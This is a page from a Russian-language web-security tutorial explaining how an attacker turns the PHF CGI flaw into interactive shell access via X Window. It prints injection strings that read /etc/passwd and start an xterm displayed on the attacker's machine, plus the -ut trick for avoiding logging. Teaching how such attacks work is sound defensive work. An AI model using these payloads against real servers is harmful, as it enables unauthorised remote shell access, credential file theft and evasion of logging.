Иллюстрированный самоучитель по Secure Web


Интерактивный доступ к командной оболочке - часть 2


Операции в системе X


После того как взломщик получил возможность выполнять команды на Web-сервере, используя недостатки в реализации PHF, первым из методов, которыми он воспользуется для получения интерактивного доступа к командной оболочке, будет применение средств X Window системы UNIX (далее — просто X). X — это система оконного интерфейса, которая позволяет разным программам использовать один и тот же графический дисплей. Система X чрезвычайно устойчива и позволяет поддерживающим ее клиентным программам отображать свои результаты на локальном или на удаленном сервере X (с использованием портов 6000-6063). Один из самым удобных для взломщика инструментов в этом случае является клиентная программа xterm. Эта программа предназначена для запуска локальной командной оболочки, работающей под управлением X. Однако, применив параметр -display, взломщик может перенаправить командную оболочку на сервер X собственного компьютера. Вот так — быстро и просто.

Давайте посмотрим, как с использованием изъяна PHF злоумышленник может получить результаты, выходящие за рамки простого отображения содержимого файла passwd. Как вы помните, для достижения последнего результата использовалась следующая команда. /cgi-bin/phf?Qalias=x%0a/bin/cat/%20/etc/passwd

Поскольку на Web-сервере взломщик может выполнять любые удаленные команды, то немного модифицированный вариант позволит получить и интерактивный доступ к командной оболочке. Все, что для этого нужно сделать, — это заменить команду /bin/cat /etc/passwd командой /usr/X11R6/bin/xterm-ut -display IР_хакера : 0 . 0, как показано ниже.

/cgi-bin/phf?Qalias=x%0a/usr/X11R6/bin/
xterm%20-ut%20-display IР_хакера:0.0

Это приведет к тому, что удаленный сервер запустит xterm и выведет окно на X-сервере хакера, имеющего IP-адрес 1Р_хакера, с идентификатором окна 0 и идентификатором экрана 0. С этого момента в руках взломщика окажется полный контроль над целевым компьютером. Кроме того из-за использования параметра -ut это событие не будет зарегистрировано системой. Кроме того, используемые в команде символы %20 представляют собой шестнадцатеричное представление символов пробела, с помощью которых параметры отделяются друг от друга (для получения более подробной информации воспользуйтесь командой man ascii). Таким образом, взломщик получил интерактивный доступ к командной оболочке без регистрации любой службой Web-сервера. Кроме того, вы, должно быть, обратили внимание на то, что в команде использован полный путь к исполняемому файлу xterm. Это сделано для того, чтобы обеспечить запуск программы независимо от того, правильно ли установлена переменная окружения PATH. Применение полного имени файла гарантирует безусловный запуск соответствующей программы.



Начало  Назад  Вперед